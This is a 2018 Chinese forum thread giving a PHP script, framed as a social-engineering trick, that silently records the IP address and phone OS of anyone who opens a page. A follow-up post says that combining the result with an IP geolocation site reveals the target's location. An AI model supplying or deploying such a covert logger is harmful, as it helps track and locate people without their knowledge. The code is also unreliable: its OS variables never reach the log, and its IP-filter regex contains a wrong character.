admin 发表于 2018-1-30 11:05:37

利用社会工程学获取对方ip


[*]<?php
[*]function getRealIp()
[*]{
[*]    $ip=false;
[*]    if(!empty($_SERVER["HTTP_CLIENT_IP"])){
[*]      $ip = $_SERVER["HTTP_CLIENT_IP"];
[*]    }
[*]    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
[*]      $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
[*]      if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
[*]      for ($i = 0; $i < count($ips); $i++) {
[*]            if (!eregi ("^(10│172.16│192.168).", $ips[$i])) {
[*]                $ip = $ips[$i];
[*]                break;
[*]            }
[*]      }
[*]    }
[*]    return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
[*]}
[*]
[*]//手机类型
[*]getOS();
[*]function getOS()
[*]{
[*]    $ua = $_SERVER['HTTP_USER_AGENT'];//这里只进行IOS和Android两个操作系统的判断,其他操作系统原理一样
[*]    if (strpos($ua, 'Android') !== false) {//strpos()定位出第一次出现字符串的位置,这里定位为0
[*]      preg_match("/(?<=Android )[\d\.]{1,}/", $ua, $version);
[*]      $s1='Platform:Android OS_Version:'.$version[0];
[*]    } elseif (strpos($ua, 'iPhone') !== false) {
[*]      preg_match("/(?<=CPU iPhone OS )[\d\_]{1,}/", $ua, $version);
[*]      $s2='Platform:iPhone OS_Version:'.str_replace('_', '.', $version[0]);
[*]    } elseif (strpos($ua, 'iPad') !== false) {
[*]      preg_match("/(?<=CPU OS )[\d\_]{1,}/", $ua, $version);
[*]      $s3= 'Platform:iPad OS_Version:'.str_replace('_', '.', $version[0]);
[*]    }   
[*]}
[*]$txt1="对方ip为:";
[*]$myip=getRealIp();
[*]$k="
[*]";
[*]
[*]//echo getRealIp();
[*]error_reporting(E_ALL ^ E_NOTICE);//用来关闭错误报告
[*]$lu = fopen("myip.txt","a+");
[*]fwrite($lu,$txt1.$myip.$s1.$s2.$s3.$k);
[*]fclose($lu);
[*]?>

admin 发表于 2018-1-30 13:38:11

结合IP定位网站,可以获取对方位置!
页: [1]
查看完整版本: 利用社会工程学获取对方ip